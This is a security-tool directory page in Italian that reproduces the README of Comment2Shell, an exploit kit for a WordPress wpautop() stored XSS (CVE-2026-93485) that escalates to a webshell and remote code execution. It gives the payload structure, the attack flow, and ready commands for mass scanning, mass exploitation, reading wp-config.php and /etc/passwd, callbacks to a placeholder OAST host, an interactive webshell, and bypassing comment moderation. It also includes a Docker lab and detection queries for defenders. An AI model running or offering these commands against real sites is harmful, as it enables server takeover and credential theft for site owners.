Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Comment2Shell — Catena di exploit WordPress pre-auth zero-click CVE-2026-93485: XSS memorizzato in wpautop() che scala fino al caricamento di plugin tramite sessione admin e a una webshell auto-eliminante, con scanner, shell e template Nuclei. | Kitploit
Strumenti/GitHubGitHub/deathshotxd/comment2shell
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitVirtualizzazione per la SicurezzaSicurezza WebPenetration TestingRed TeamingSviluppo PayloadLab e Pratica
GitHub
1114h 33m faNon ancora revisionato
deathshotxd/comment2shell

Comment2Shell

Catena di exploit WordPress pre-auth zero-click CVE-2026-93485: XSS memorizzato in wpautop() che scala fino al caricamento di plugin tramite sessione admin e a una webshell auto-eliminante, con scanner, shell e template Nuclei.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Comment2Shell

Comment2Shell è un proof-of-concept end-to-end per CVE-2026-93485, un XSS memorizzato pre-autenticazione nel core di WordPress wpautop() che si escala a esecuzione di codice remoto all'interno di una sessione di amministratore. Un commento anonimo pianta il payload; quando un admin apre il post, il browser carica un plugin webshell, esegue un comando e cancella la shell di nuovo. L'intera catena è un singolo file Python senza dipendenze.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Cos'è Comment2Shell?

Comment2Shell è un exploit e un kit di laboratorio locale per CVE-2026-93485. Il bug risiede in wp-includes/formatting.php, nel filtro dei paragrafi wpautop() che viene eseguito al momento della visualizzazione sul testo dei commenti. Un newline all'interno di un attributo diventa un segnaposto di commento HTML; la regex che avvolge i blockquote si ferma al primo e inietta un tag paragrafo nel mezzo dell'attributo, che il browser poi interpreta come un handler . L'attributo lo attiva zero-click.

blockquote cite
>
onfocus
autofocus

Lo strumento copre l'intera catena: una scansione passiva della versione, una sonda XSS benigna, l'exploit completo da pre-autenticazione a RCE, una shell interattiva e un controllo difensivo degli IOC.


L'exploit non necessita di account, nonce o interazione oltre alla visualizzazione del post da parte dell'admin. I commenti devono solo essere aperti.


Comment2Shell - CVE-2026-93485

Perché è importante

WordPress gestisce una grande fetta del web e wpautop() è codice del core, quindi il filtro vulnerabile è presente in ogni installazione interessata indipendentemente dal tema o dal plugin. L'XSS è memorizzato, pre-autenticazione e zero-click. Poiché viene eseguito nella sessione dell'admin, è più di un bug di defacement: il cookie dell'admin è sufficiente per installare un plugin, e installare un plugin è esecuzione di codice arbitrario.

La correzione è stata rilasciata in WordPress 7.1.1 con backport su 25 branch, fino alla 4.7.36. Ogni release dalla 4.7.0 alla 7.1.0 è interessata.

Demo


Comment2Shell demonstration


Esecuzione in laboratorio controllato contro WordPress 7.1.0: un commento anonimo pianta il payload, l'admin che apre il post attiva la catena zero-click, la webshell viene caricata, l'output del comando ritorna e la shell si cancella da sola. Il titolo della scheda del browser riporta l'esito, ovvero Comment2Shell: shell uploaded o Comment2Shell: admin login required. Vedi docker/README.md per la procedura esatta.

Contributo alla ricerca

Comment2Shell non rivendica la scoperta della falla. È stata segnalata da Rafie Muhammad (Awesome Motive) attraverso il programma HackerOne di WordPress e corretta nella 7.1.1. Il contributo qui è un'implementazione riproducibile e senza dipendenze dell'intera catena:

  • le condizioni del filtro al momento della visualizzazione che permettono al payload di sopravvivere a KSES
  • un generatore ZIP nel browser così il caricamento del plugin non necessita di file esterni
  • pulizia automatica, in cui la webshell si auto-elimina dopo il comando
  • artefatti blue-team: un template nuclei, uno script IOC e query sui log

Flusso dell'attacco

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Requisiti

  • Commenti aperti su un post pubblicato (predefinito)
  • Commenti anonimi consentiti (predefinito, comment_registration=0)
  • Un tema a blocchi attivo (predefinito da Twenty Twenty-Two)
  • Un admin che visualizza il post mentre è connesso
  • Python 3.8+ (solo libreria standard)

Installazione

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Nessuna dipendenza. Solo libreria standard di Python 3.8+, nessun pip install.

Utilizzo

Scansione passiva della versione

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Sonda XSS attiva

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Catena di exploit completa fino all'esecuzione di comandi

Il payload dell'exploit attiva alert("Comment2Shell XSS - CVE-2026-93485") al caricamento della pagina (zero-click tramite autofocus). Visualizza il post mentre sei connesso come admin. Il titolo della scheda poi mostra Comment2Shell: shell uploaded in caso di successo, o Comment2Shell: admin login required se il browser non ha una sessione admin.

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

Lo strumento invia il commento XSS, esegue il polling del percorso della webshell generata ogni 3s (fino a --wait secondi), esegue il comando una volta che il browser dell'admin attiva il caricamento, poi auto-elimina la shell (?d=1 rimuove il file PHP e cancella la directory del plugin) così non rimane alcuna persistenza. Passa --no-cleanup per mantenerla, o --wait 0 per inviare solo il payload.

Shell interattiva

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

Controllo IOC

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

Bypass dell'approvazione dei commenti

I nuovi commenti da commentatori alla prima volta sono solitamente trattenuti per la moderazione. Lo strumento ha tre percorsi per aggirarla:

RouteMethodFlag
Known commenterReuses the default "A WordPress Commenter" <[email protected]>, which check_comment() auto-approves--known-commenter
Moderation offIf comment_previously_approved=0, any identity is auto-approveddefault
Author previewA prior commenter sees pending comments through the ?unapproved=<id>&moderation-hash=<hash> cookieautomatic

Secondo Patchstack: "la moderazione non è un controllo di sicurezza."

Laboratorio Docker

Avvia un WordPress 7.1.0 vulnerabile per test locali:

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

Ogni esecuzione invia un nuovo commento payload. Solo il primo payload autofocus sulla pagina viene eseguito, quindi lo strumento rileva il payload attivo ed esegue il polling del suo percorso; esegui bash clean.sh per cancellare i commenti più vecchi tra un'esecuzione e l'altra.

Rilevamento

IoC lato server

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

IoC di rete

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Template Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

Verifica della patch

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

Esempi di pipeline

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

Dettagli tecnici

Causa principale

wp-includes/formatting.php:563 (vulnerabile, prima della 7.1.1):

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Perché KSES non lo intercetta

Il payload è HTML benigno al momento del salvataggio. blockquote[cite] e code sono nella allowlist dei commenti (wp-includes/kses.php:605-633). Il newline non è nella mappa dei caratteri di sintassi di wp_kses_hair(). L'exploit avviene al momento della visualizzazione, quando i filtri comment_text trasformano l'HTML memorizzato.

Catena di filtri comment_text

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

Versioni interessate

La correzione è stata rilasciata nella 7.1.1 su 25 branch. Ogni release dalla 4.7.0 alla 7.1.0 è interessata.

BranchVulnerable <=Fixed
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

Struttura del repository

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

Limitazioni

  • Il percorso XSS dipende da un tema a blocchi (wptexturize che sigilla l'attributo); i temi classici potrebbero non attivarlo.
  • Il payload deve essere visibile all'admin, quindi è necessaria l'auto-approvazione o un'identità di commentatore già approvata.
  • Il passo RCE richiede che un admin visualizzi effettivamente il post mentre è connesso; senza questo, viene dimostrato solo l'XSS memorizzato.
  • Solo il primo payload autofocus su una pagina viene eseguito. Lo strumento rileva il payload attivo, ma i commenti payload obsoleti dovrebbero essere cancellati con docker/clean.sh.
  • Il laboratorio incluso è WordPress 7.1.0. Altri branch condividono la regex vulnerabile ma non sono stati tutti testati.

Riferimenti

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

Cronologia

  • 2026-09-08 - segnalato attraverso il programma HackerOne di WordPress
  • 2026-09-15 - CVE richiesto a Patchstack
  • 2026-09-17 - corretto in WordPress 7.1.1
  • 2026-09-18 - CVE-2026-93485 assegnato (CVSS 7.1)
  • 2026-09-21 - writeup del ricercatore pubblicato
  • 2026-09-22 - copertura da THN, Orca e SiteGuarding
  • 2026-09-23 - rilascio di questo strumento

Uso responsabile

Questo progetto esiste per test di sicurezza autorizzati e formazione. Usalo solo contro sistemi che possiedi o per cui hai esplicito permesso scritto di testare. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni. Gli autori non sono responsabili per uso improprio o danni. Vedi LICENSE.

Autore

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

Scarica lo strumento